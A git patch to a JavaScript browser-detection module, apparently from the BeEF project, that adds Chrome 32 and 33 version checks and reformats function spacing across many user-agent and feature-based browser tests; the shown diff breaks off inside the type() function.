From 7639537d11d9d28c60c7fc5d8e01886bf568fd6c Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Tue, 25 Feb 2014 13:31:59 +0000 Subject: [PATCH] Added support for Chrome 32 and 33. --- core/main/client/browser.js | 786 +++++++++++++++++++----------------- 1 file changed, 406 insertions(+), 380 deletions(-) diff --git a/core/main/client/browser.js b/core/main/client/browser.js index d5a29eb11..c70f82e50 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -15,7 +15,7 @@ beef.browser = { * Returns the user agent that the browser is claiming to be. * @example: beef.browser.getBrowserReportedName() */ - getBrowserReportedName:function () { + getBrowserReportedName: function () { return navigator.userAgent; }, @@ -23,7 +23,7 @@ beef.browser = { * Returns true if Avant Browser. * @example: beef.browser.isA() */ - isA:function () { + isA: function () { return window.navigator.userAgent.match(/Avant TriCore/) != null; }, @@ -31,7 +31,7 @@ beef.browser = { * Returns true if Iceweasel. * @example: beef.browser.isI() */ - isI:function () { + isI: function () { return window.navigator.userAgent.match(/Iceweasel\/\d+\.\d/) != null; }, @@ -39,7 +39,7 @@ beef.browser = { * Returns true if IE6. * @example: beef.browser.isIE6() */ - isIE6:function () { + isIE6: function () { return !window.XMLHttpRequest && !window.globalStorage; }, @@ -47,7 +47,7 @@ beef.browser = { * Returns true if IE7. * @example: beef.browser.isIE7() */ - isIE7:function () { + isIE7: function () { return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle && !window.globalStorage && !document.documentMode; }, @@ -55,7 +55,7 @@ beef.browser = { * Returns true if IE8. * @example: beef.browser.isIE8() */ - isIE8:function () { + isIE8: function () { return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !window.performance; }, @@ -63,7 +63,7 @@ beef.browser = { * Returns true if IE9. * @example: beef.browser.isIE9() */ - isIE9:function () { + isIE9: function () { return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints === "undefined"; }, @@ -72,7 +72,7 @@ beef.browser = { * Returns true if IE10. * @example: beef.browser.isIE10() */ - isIE10:function () { + isIE10: function () { return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined"; }, @@ -81,7 +81,7 @@ beef.browser = { * Returns true if IE11. * @example: beef.browser.isIE11() */ - isIE11:function () { + isIE11: function () { return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined" && typeof document.selection === "undefined" && typeof document.createStyleSheet === "undefined" && typeof window.createPopup === "undefined" && typeof window.XDomainRequest === "undefined"; }, @@ -89,7 +89,7 @@ beef.browser = { * Returns true if IE. * @example: beef.browser.isIE() */ - isIE:function () { + isIE: function () { return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9() || this.isIE10() || this.isIE11(); }, @@ -97,7 +97,7 @@ beef.browser = { * Returns true if FF2. * @example: beef.browser.isFF2() */ - isFF2:function () { + isFF2: function () { return !!window.globalStorage && !window.postMessage; }, @@ -105,7 +105,7 @@ beef.browser = { * Returns true if FF3. * @example: beef.browser.isFF3() */ - isFF3:function () { + isFF3: function () { return !!window.globalStorage && !!window.postMessage && !JSON.parse; }, @@ -113,7 +113,7 @@ beef.browser = { * Returns true if FF3.5. * @example: beef.browser.isFF3_5() */ - isFF3_5:function () { + isFF3_5: function () { return !!window.globalStorage && !!JSON.parse && !window.FileReader; }, @@ -121,7 +121,7 @@ beef.browser = { * Returns true if FF3.6. * @example: beef.browser.isFF3_6() */ - isFF3_6:function () { + isFF3_6: function () { return !!window.globalStorage && !!window.FileReader && !window.multitouchData && !window.history.replaceState; }, @@ -129,7 +129,7 @@ beef.browser = { * Returns true if FF4. * @example: beef.browser.isFF4() */ - isFF4:function () { + isFF4: function () { return !!window.globalStorage && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/4\./) != null; }, @@ -137,7 +137,7 @@ beef.browser = { * Returns true if FF5. * @example: beef.browser.isFF5() */ - isFF5:function () { + isFF5: function () { return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/5\./) != null; }, @@ -145,7 +145,7 @@ beef.browser = { * Returns true if FF6. * @example: beef.browser.isFF6() */ - isFF6:function () { + isFF6: function () { return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/6\./) != null; }, @@ -153,7 +153,7 @@ beef.browser = { * Returns true if FF7. * @example: beef.browser.isFF7() */ - isFF7:function () { + isFF7: function () { return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/7\./) != null; }, @@ -161,7 +161,7 @@ beef.browser = { * Returns true if FF8. * @example: beef.browser.isFF8() */ - isFF8:function () { + isFF8: function () { return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/8\./) != null; }, @@ -169,7 +169,7 @@ beef.browser = { * Returns true if FF9. * @example: beef.browser.isFF9() */ - isFF9:function () { + isFF9: function () { return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/9\./) != null; }, @@ -177,7 +177,7 @@ beef.browser = { * Returns true if FF10. * @example: beef.browser.isFF10() */ - isFF10:function () { + isFF10: function () { return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/10\./) != null; }, @@ -185,7 +185,7 @@ beef.browser = { * Returns true if FF11. * @example: beef.browser.isFF11() */ - isFF11:function () { + isFF11: function () { return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/11\./) != null; }, @@ -193,7 +193,7 @@ beef.browser = { * Returns true if FF12 * @example: beef.browser.isFF12() */ - isFF12:function () { + isFF12: function () { return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/12\./) != null; }, @@ -201,7 +201,7 @@ beef.browser = { * Returns true if FF13 * @example: beef.browser.isFF13() */ - isFF13:function () { + isFF13: function () { return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/13\./) != null; }, @@ -209,7 +209,7 @@ beef.browser = { * Returns true if FF14 * @example: beef.browser.isFF14() */ - isFF14:function () { + isFF14: function () { return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/14\./) != null; }, @@ -217,7 +217,7 @@ beef.browser = { * Returns true if FF15 * @example: beef.browser.isFF15() */ - isFF15:function () { + isFF15: function () { return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/15\./) != null; }, @@ -225,7 +225,7 @@ beef.browser = { * Returns true if FF16 * @example: beef.browser.isFF16() */ - isFF16:function () { + isFF16: function () { return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/16\./) != null; }, @@ -233,7 +233,7 @@ beef.browser = { * Returns true if FF17 * @example: beef.browser.isFF17() */ - isFF17:function () { + isFF17: function () { return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/17\./) != null; }, @@ -241,7 +241,7 @@ beef.browser = { * Returns true if FF18 * @example: beef.browser.isFF18() */ - isFF18:function () { + isFF18: function () { return !!window.devicePixelRatio && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/18\./) != null; }, @@ -249,23 +249,23 @@ beef.browser = { * Returns true if FF19 * @example: beef.browser.isFF19() */ - isFF19:function () { + isFF19: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/19\./) != null; }, - /** - * Returns true if FF20 - * @example: beef.browser.isFF20() - */ - isFF20:function () { - return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/20\./) != null; - }, + /** + * Returns true if FF20 + * @example: beef.browser.isFF20() + */ + isFF20: function () { + return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/20\./) != null; + }, /** * Returns true if FF21 * @example: beef.browser.isFF21() */ - isFF21:function () { + isFF21: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/21\./) != null; }, @@ -273,7 +273,7 @@ beef.browser = { * Returns true if FF22 * @example: beef.browser.isFF22() */ - isFF22:function () { + isFF22: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/22\./) != null; }, @@ -281,7 +281,7 @@ beef.browser = { * Returns true if FF23 * @example: beef.browser.isFF23() */ - isFF23:function () { + isFF23: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/23\./) != null; }, @@ -289,7 +289,7 @@ beef.browser = { * Returns true if FF24 * @example: beef.browser.isFF24() */ - isFF24:function () { + isFF24: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/24\./) != null; }, @@ -297,7 +297,7 @@ beef.browser = { * Returns true if FF25 * @example: beef.browser.isFF25() */ - isFF25:function () { + isFF25: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/25\./) != null; }, @@ -305,7 +305,7 @@ beef.browser = { * Returns true if FF26 * @example: beef.browser.isFF26() */ - isFF26:function () { + isFF26: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/26./) != null; }, @@ -313,7 +313,7 @@ beef.browser = { * Returns true if FF27 * @example: beef.browser.isFF27() */ - isFF27:function () { + isFF27: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && window.navigator.userAgent.match(/Firefox\/27./) != null; }, @@ -321,7 +321,7 @@ beef.browser = { * Returns true if FF. * @example: beef.browser.isFF() */ - isFF:function () { + isFF: function () { return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27(); }, @@ -329,7 +329,7 @@ beef.browser = { * Returns true if Safari 4.xx * @example: beef.browser.isS4() */ - isS4:function () { + isS4: function () { return (window.navigator.userAgent.match(/ Version\/4\.\d/) != null && window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window)); }, @@ -337,7 +337,7 @@ beef.browser = { * Returns true if Safari 5.xx * @example: beef.browser.isS5() */ - isS5:function () { + isS5: function () { return (window.navigator.userAgent.match(/ Version\/5\.\d/) != null && window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window)); }, @@ -345,7 +345,7 @@ beef.browser = { * Returns true if Safari 6.xx * @example: beef.browser.isS6() */ - isS6:function () { + isS6: function () { return (window.navigator.userAgent.match(/ Version\/6\.\d/) != null && window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window)); }, @@ -353,7 +353,7 @@ beef.browser = { * Returns true if Safari. * @example: beef.browser.isS() */ - isS:function () { + isS: function () { return this.isS4() || this.isS5() || this.isS6(); }, @@ -361,7 +361,7 @@ beef.browser = { * Returns true if Chrome 5. * @example: beef.browser.isC5() */ - isC5:function () { + isC5: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 5) ? true : false); }, @@ -369,7 +369,7 @@ beef.browser = { * Returns true if Chrome 6. * @example: beef.browser.isC6() */ - isC6:function () { + isC6: function () { return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 6) ? true : false); }, @@ -377,7 +377,7 @@ beef.browser = { * Returns true if Chrome 7. * @example: beef.browser.isC7() */ - isC7:function () { + isC7: function () { return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 7) ? true : false); }, @@ -385,7 +385,7 @@ beef.browser = { * Returns true if Chrome 8. * @example: beef.browser.isC8() */ - isC8:function () { + isC8: function () { return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 8) ? true : false); }, @@ -393,7 +393,7 @@ beef.browser = { * Returns true if Chrome 9. * @example: beef.browser.isC9() */ - isC9:function () { + isC9: function () { return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 9) ? true : false); }, @@ -401,7 +401,7 @@ beef.browser = { * Returns true if Chrome 10. * @example: beef.browser.isC10() */ - isC10:function () { + isC10: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 10) ? true : false); }, @@ -409,7 +409,7 @@ beef.browser = { * Returns true if Chrome 11. * @example: beef.browser.isC11() */ - isC11:function () { + isC11: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 11) ? true : false); }, @@ -417,7 +417,7 @@ beef.browser = { * Returns true if Chrome 12. * @example: beef.browser.isC12() */ - isC12:function () { + isC12: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 12) ? true : false); }, @@ -425,7 +425,7 @@ beef.browser = { * Returns true if Chrome 13. * @example: beef.browser.isC13() */ - isC13:function () { + isC13: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 13) ? true : false); }, @@ -433,7 +433,7 @@ beef.browser = { * Returns true if Chrome 14. * @example: beef.browser.isC14() */ - isC14:function () { + isC14: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 14) ? true : false); }, @@ -441,7 +441,7 @@ beef.browser = { * Returns true if Chrome 15. * @example: beef.browser.isC15() */ - isC15:function () { + isC15: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 15) ? true : false); }, @@ -449,7 +449,7 @@ beef.browser = { * Returns true if Chrome 16. * @example: beef.browser.isC16() */ - isC16:function () { + isC16: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 16) ? true : false); }, @@ -457,7 +457,7 @@ beef.browser = { * Returns true if Chrome 17. * @example: beef.browser.isC17() */ - isC17:function () { + isC17: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 17) ? true : false); }, @@ -465,7 +465,7 @@ beef.browser = { * Returns true if Chrome 18. * @example: beef.browser.isC18() */ - isC18:function () { + isC18: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 18) ? true : false); }, @@ -473,7 +473,7 @@ beef.browser = { * Returns true if Chrome 19. * @example: beef.browser.isC19() */ - isC19:function () { + isC19: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 19) ? true : false); }, @@ -481,7 +481,7 @@ beef.browser = { * Returns true if Chrome for iOS 19. * @example: beef.browser.isC19iOS() */ - isC19iOS:function () { + isC19iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 19) ? true : false); }, @@ -489,7 +489,7 @@ beef.browser = { * Returns true if Chrome 20. * @example: beef.browser.isC20() */ - isC20:function () { + isC20: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 20) ? true : false); }, @@ -497,7 +497,7 @@ beef.browser = { * Returns true if Chrome for iOS 20. * @example: beef.browser.isC20iOS() */ - isC20iOS:function () { + isC20iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 20) ? true : false); }, @@ -505,7 +505,7 @@ beef.browser = { * Returns true if Chrome 21. * @example: beef.browser.isC21() */ - isC21:function () { + isC21: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 21) ? true : false); }, @@ -513,7 +513,7 @@ beef.browser = { * Returns true if Chrome for iOS 21. * @example: beef.browser.isC21iOS() */ - isC21iOS:function () { + isC21iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 21) ? true : false); }, @@ -521,7 +521,7 @@ beef.browser = { * Returns true if Chrome 22. * @example: beef.browser.isC22() */ - isC22:function () { + isC22: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 22) ? true : false); }, @@ -529,7 +529,7 @@ beef.browser = { * Returns true if Chrome for iOS 22. * @example: beef.browser.isC22iOS() */ - isC22iOS:function () { + isC22iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 22) ? true : false); }, @@ -537,7 +537,7 @@ beef.browser = { * Returns true if Chrome 23. * @example: beef.browser.isC23() */ - isC23:function () { + isC23: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 23) ? true : false); }, @@ -545,7 +545,7 @@ beef.browser = { * Returns true if Chrome for iOS 23. * @example: beef.browser.isC23iOS() */ - isC23iOS:function () { + isC23iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 23) ? true : false); }, @@ -553,7 +553,7 @@ beef.browser = { * Returns true if Chrome 24. * @example: beef.browser.isC24() */ - isC24:function () { + isC24: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 24) ? true : false); }, @@ -561,7 +561,7 @@ beef.browser = { * Returns true if Chrome for iOS 24. * @example: beef.browser.isC24iOS() */ - isC24iOS:function () { + isC24iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 24) ? true : false); }, @@ -569,7 +569,7 @@ beef.browser = { * Returns true if Chrome 25. * @example: beef.browser.isC25() */ - isC25:function () { + isC25: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 25) ? true : false); }, @@ -577,7 +577,7 @@ beef.browser = { * Returns true if Chrome for iOS 25. * @example: beef.browser.isC25iOS() */ - isC25iOS:function () { + isC25iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 25) ? true : false); }, @@ -585,7 +585,7 @@ beef.browser = { * Returns true if Chrome 26. * @example: beef.browser.isC26() */ - isC26:function () { + isC26: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 26) ? true : false); }, @@ -593,7 +593,7 @@ beef.browser = { * Returns true if Chrome for iOS 26. * @example: beef.browser.isC26iOS() */ - isC26iOS:function () { + isC26iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 26) ? true : false); }, @@ -601,7 +601,7 @@ beef.browser = { * Returns true if Chrome 27. * @example: beef.browser.isC27() */ - isC27:function () { + isC27: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 27) ? true : false); }, @@ -609,7 +609,7 @@ beef.browser = { * Returns true if Chrome for iOS 27. * @example: beef.browser.isC27iOS() */ - isC27iOS:function () { + isC27iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 27) ? true : false); }, @@ -617,7 +617,7 @@ beef.browser = { * Returns true if Chrome 28. * @example: beef.browser.isC28() */ - isC28:function () { + isC28: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 28) ? true : false); }, @@ -625,7 +625,7 @@ beef.browser = { * Returns true if Chrome for iOS 28. * @example: beef.browser.isC28iOS() */ - isC28iOS:function () { + isC28iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 28) ? true : false); }, @@ -633,7 +633,7 @@ beef.browser = { * Returns true if Chrome 29. * @example: beef.browser.isC29() */ - isC29:function () { + isC29: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 29) ? true : false); }, @@ -641,7 +641,7 @@ beef.browser = { * Returns true if Chrome for iOS 29. * @example: beef.browser.isC29iOS() */ - isC29iOS:function () { + isC29iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 29) ? true : false); }, @@ -649,7 +649,7 @@ beef.browser = { * Returns true if Chrome 30. * @example: beef.browser.isC30() */ - isC30:function () { + isC30: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 30) ? true : false); }, @@ -657,7 +657,7 @@ beef.browser = { * Returns true if Chrome for iOS 30. * @example: beef.browser.isC30iOS() */ - isC30iOS:function () { + isC30iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 30) ? true : false); }, @@ -665,15 +665,31 @@ beef.browser = { * Returns true if Chrome 31. * @example: beef.browser.isC31() */ - isC31:function () { + isC31: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 31) ? true : false); }, + /** + * Returns true if Chrome 32. + * @example: beef.browser.isC32() + */ + isC32: function () { + return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 32) ? true : false); + }, + + /** + * Returns true if Chrome 33. + * @example: beef.browser.isC33() + */ + isC33: function () { + return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 33) ? true : false); + }, + /** * Returns true if Chrome for iOS 31. * @example: beef.browser.isC31iOS() */ - isC31iOS:function () { + isC31iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 31) ? true : false); }, @@ -681,15 +697,15 @@ beef.browser = { * Returns true if Chrome. * @example: beef.browser.isC() */ - isC:function () { - return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16() || this.isC17() || this.isC18() || this.isC19() || this.isC19iOS() || this.isC20() || this.isC20iOS() || this.isC21() || this.isC21iOS() || this.isC22() || this.isC22iOS() || this.isC23() || this.isC23iOS() || this.isC24() || this.isC24iOS() || this.isC25() || this.isC25iOS() || this.isC26() || this.isC26iOS() || this.isC27() || this.isC27iOS() || this.isC28() || this.isC28iOS() || this.isC29() || this.isC29iOS() || this.isC30() || this.isC30iOS() || this.isC31() || this.isC31iOS(); + isC: function () { + return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16() || this.isC17() || this.isC18() || this.isC19() || this.isC19iOS() || this.isC20() || this.isC20iOS() || this.isC21() || this.isC21iOS() || this.isC22() || this.isC22iOS() || this.isC23() || this.isC23iOS() || this.isC24() || this.isC24iOS() || this.isC25() || this.isC25iOS() || this.isC26() || this.isC26iOS() || this.isC27() || this.isC27iOS() || this.isC28() || this.isC28iOS() || this.isC29() || this.isC29iOS() || this.isC30() || this.isC30iOS() || this.isC31() || this.isC32() || this.isC33() || this.isC31iOS(); }, /** * Returns true if Opera 9.50 through 9.52. * @example: beef.browser.isO9_52() */ - isO9_52:function () { + isO9_52: function () { return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.5/) != null)); }, @@ -697,7 +713,7 @@ beef.browser = { * Returns true if Opera 9.60 through 9.64. * @example: beef.browser.isO9_60() */ - isO9_60:function () { + isO9_60: function () { return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.6/) != null)); }, @@ -705,7 +721,7 @@ beef.browser = { * Returns true if Opera 10.xx. * @example: beef.browser.isO10() */ - isO10:function () { + isO10: function () { return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/10\./) != null)); }, @@ -713,7 +729,7 @@ beef.browser = { * Returns true if Opera 11.xx. * @example: beef.browser.isO11() */ - isO11:function () { + isO11: function () { return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/11\./) != null)); }, @@ -721,7 +737,7 @@ beef.browser = { * Returns true if Opera 12.xx. * @example: beef.browser.isO12() */ - isO12:function () { + isO12: function () { return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/12\./) != null)); }, @@ -729,7 +745,7 @@ beef.browser = { * Returns true if Opera. * @example: beef.browser.isO() */ - isO:function () { + isO: function () { return this.isO9_52() || this.isO9_60() || this.isO10() || this.isO11() || this.isO12(); }, @@ -739,99 +755,101 @@ beef.browser = { * @example: beef.browser.type().FF * @example: beef.browser.type().O */ - type:function () { + type: function () { return { - C5:this.isC5(), // Chrome 5 - C6:this.isC6(), // Chrome 6 - C7:this.isC7(), // Chrome 7 - C8:this.isC8(), // Chrome 8 - C9:this.isC9(), // Chrome 9 - C10:this.isC10(), // Chrome 10 - C11:this.isC11(), // Chrome 11 - C12:this.isC12(), // Chrome 12 - 